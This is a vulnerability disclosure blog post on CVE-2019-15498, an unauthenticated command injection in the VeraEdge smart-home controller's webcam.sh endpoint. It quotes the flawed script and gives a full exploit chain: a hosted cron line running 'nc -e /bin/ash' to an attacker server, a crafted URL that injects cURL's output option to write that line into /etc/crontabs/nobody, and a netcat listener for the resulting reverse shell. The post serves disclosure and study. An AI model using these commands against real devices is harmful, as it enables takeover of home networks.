Vera Edge Home Controller – Remote Shell via Unauthenticated Command Injection

Note: This vulnerability has been assigned CVE-2019-15498.

This post outlines a vulnerability for the VeraEdge Home Controller running firmware version 1.7.4452. The VeraEdge allows you to connect with and control a variety of different smart home devices from different vendors. Device settings and states can be orchestrated using scenes and rooms to control a smart home. The devices can be accessed by the home controller using Z-Wave or Wi-Fi. The device can be access remotely via mobile and web applications. The VeraEdge controller also has a local web server for access on the LAN.

The hardware consists of a 600MHz MIPS SoC, 128MB NAND flash, and 128MB of DDR2 memory. The controller has support for Wi-Fi, Z-Wave, and USB in addition to ethernet.

A command injection vulnerability was discovered in the /cgi-bin/cmh/webcam.sh endpoint. The Vera Edge Home Controller hosts many Haserl scripts in the /www/cgi-bin/cmh directory. The webcam.sh file is vulnerable to limited command injection. Furthermore, the endpoint does not have any CSRF protection, authentication, or authorization requirements. Given the lack of endpoint protection it is possible to exploit this vulnerability over the Internet through the use of a phishing email or drive by visit to a web site.

#!/usr/bin/haserl
Content-Type: image/jpeg

#Copyright (C) 2009 MiOS, Ltd., a Hong Kong Corporation
#                    www.micasaverde.com
#           1 - 702 - 4879770 / 866 - 966 - casa
#This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License.
#This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
#without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

if [[ -n "$FORM_ip" ]]; then
    if [[ -n "$FORM_username" ]]; then
        if [[ -n "$FORM_password" ]]; then
            curl -k -s -u $FORM_username:$FORM_password --connect-timeout 3 --max-time 5 "http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"
        else
           curl -k -s -u $FORM_username --connect-timeout 3 --max-time 5 "http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"
        fi
    else    
        curl -k -s "http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"
    fi
fi    

From the above script, we can see that the script takes the following input parameters: ip, username, and password. Depending on what values are present, a cURL command is constructed using the appropriate command line arguments. Haserl is supposed to protect against command injection. The following characters appeared to be ignored or stripped from processing by Haserl even though the variable isn’t enclosed in quotes: “; ? & |”. With this limitation, it was found that additional command line arguments can still be injected into the command and supplied to cURL. The protections just limit an attacker from terminating the cURL command early or concatenating input to execute arbitrary shell commands.

Since the attacker controls the IP address in which cURL will retrieve a file, a remote server can be setup in the following manner to host a malicious file. The exploit requires the use of a cron job to execute a netcat callback command for retrieving a remote shell. Setup a cron file hosted on the remote server for the cURL command to retrieve. Execute the following commands on a remotely accessible Linux server.

mkdir www
cd www
touch index.html
echo * * * * * nc -e /bin/ash {ip address of remote server} 8000 > index.html
python3 -m http.server 80

The following screenshot shows the remote server setup and listening for requests.

remote-shell-via-unauthenticated-command-injection-1

Next, the attacker can craft a malicious URL to be sent to the victim.

http://192.168.86.40/cgi-bin/cmh/webcam.sh?ip=127.0.0.1&username=test%20{ip address of remote server}/index.html%20–output%20/etc/crontabs/nobody

The previous URL will cause the cURL command to execute a GET request to the IP address of a remote server retrieving the index.html file and outputting it to the location /etc/crontabs/nobody. The –output /etc/contabs/nobody is injected into the cURL command of the webcam.sh script which is executed. The filename in which the cron file is output to requires a valid user. The nobody user was selected in this case. The cron job will execute every minute executing nc -e /bin/ash {remote server ip} 8000. This command will execute /bin/ash directing stdin, stdout, and stderr to the network descriptor. With a listener on the other end the attacker will have a remote shell over port 8000.

The attacker will setup a listener using the nc -l -p 8000 -vvv command to listen on port 8000 for incoming connections.

Picture1

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s